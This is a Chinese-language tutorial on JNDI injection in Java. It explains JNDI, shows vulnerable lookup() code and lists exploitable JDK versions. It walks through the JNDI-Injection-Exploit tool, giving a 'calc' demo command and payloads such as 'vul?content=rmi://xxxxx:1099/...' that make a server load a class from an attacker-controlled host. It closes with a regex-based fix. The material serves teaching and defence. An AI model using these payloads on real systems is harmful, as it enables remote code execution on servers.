文章目录
- JNDI
- 简介
- JNDI 支持的服务协议
- JNDI 注入
- JNDI 复现
- 修复
JNDI
简介
JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。JNDI 提供统一的客户端 API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。
通俗一点讲:JNDI对访问rmi或者ldap服务的代码进行了封装,我们使用JNDI就可以访问这些服务,不需要自己再去关注访问服务的细节。JNDI相当于是客户端,而rmi,LDAP等这些是服务端。
就拿 jdbc 来说
直接使用JDBC或者通过JNDI引用数据源的编程代码量相差无几,但是现在的程序可以不用关心具体JDBC参数了。
在系统部署后,如果数据库的相关参数变更,只需要重新配置 mysql-ds.xml 修改其中的JDBC参数,只要保证数据源的名称不变,那么程序源代码就无需修改。
由此可见,JNDI避免了程序与数据库之间的紧耦合,使应用更加易于配置、易于部署。
若程序定义了 JDNI 中的接口,则就可以通过该接口 API 访问系统的 命令服务
和目录服务
,如下图。
JNDI 支持的服务协议
协议 | 作用 |
---|---|
LDAP | 轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容 |
RMI | JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象 |
DNS | 域名服务 |
CORBA | 公共对象请求代理体系结构 |
JNDI 注入
NDI 注入,即当开发者在定义 JNDI
接口初始化时,lookup()
方法的参数可控,攻击者就可以将恶意的 url
传入参数远程加载恶意载荷,造成注入攻击。
代码中定义了 uri
变量,uri
变量可控,并定义了一个 rmi
协议服务, rmi://url:1099/Exploit
为攻击者控制的链接,最后使用 lookup()
函数进行远程获取 Exploit
类(Exploit 类名为攻击者定义,不唯一),并执行它
package com.rmi.demo;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/Exploit"; // 指定查找的 uri 变量
InitialContext initialContext = new InitialContext();// 得到初始目录环境的一个引用
initialContext.lookup(uri); // 获取指定的远程对象
}
}
JNDI 注入对 JAVA 版本有相应的限制,具体可利用版本如下:
协议 | JDK6 | JDK7 | JDK8 | JDK11 |
---|---|---|---|---|
LADP | 6u211以下 | 7u201以下 | 8u191以下 | 11.0.1以下 |
RMI | 6u132以下 | 7u122以下 | 8u113以下 | 无 |
JNDI 复现
// lookup是通过名字检索执行的对象,当lookup()方法的参数可控时,攻击者便能提供一个恶意的url地址来加载恶意类。
public void vul(String content) {
try {
Context ctx = new InitialContext();
ctx.lookup(content);
} catch (Exception e) {
log.warn("JNDI错误消息");
}
}
可以看到 lookup 里的 content 是可控的,所以我们能提供一个恶意的url地址来加载恶意类。
welk1n/JNDI-Injection-Exploit: JNDI注入测试工具(A tool which generates JNDI links can start several servers to exploit JNDI Injection vulnerability,like Jackson,Fastjson,etc) (github.com)
用这个工具生成恶意类。打开服务器
cd JNDI-Injection-Exploit/
然后
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
其中:
-
-C - 远程class文件中要执行的命令。
(可选项 , 默认命令是mac下打开计算器,即"open /Applications/Calculator.app")
-
-A - 服务器地址,可以是IP地址或者域名。
(可选项 , 默认地址是第一个网卡地址)
注意:
-
要确保 1099、1389、8180端口可用,不被其他程序占用。
或者你也可以在run.ServerStart类26~28行更改默认端口。
-
命令会被作为参数传入Runtime.getRuntime().exec(),
所以需要确保命令传入exec()方法可执行。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A xxxxx.xxxx.xxx.xxx
生成一些 payload,有 rmi 也有 ldap 还有各个版本的,都拿去试一试看看哪个打得通
payload
vul?content=rmi://xxxxx:1099/i6oq5h
vul?content=ldap://.....
修复
public String safe(String content) {
// 使用正则表达式限制参数
if (content.matches("^[\\w\\.-]+$")) {
try {
Context ctx = new InitialContext();
ctx.lookup(content);
} catch (Exception e) {
log.warn("JNDI错误消息");
}
return HtmlUtils.htmlEscape(content);
} else {
return "JNDI 正则拦截";
}
}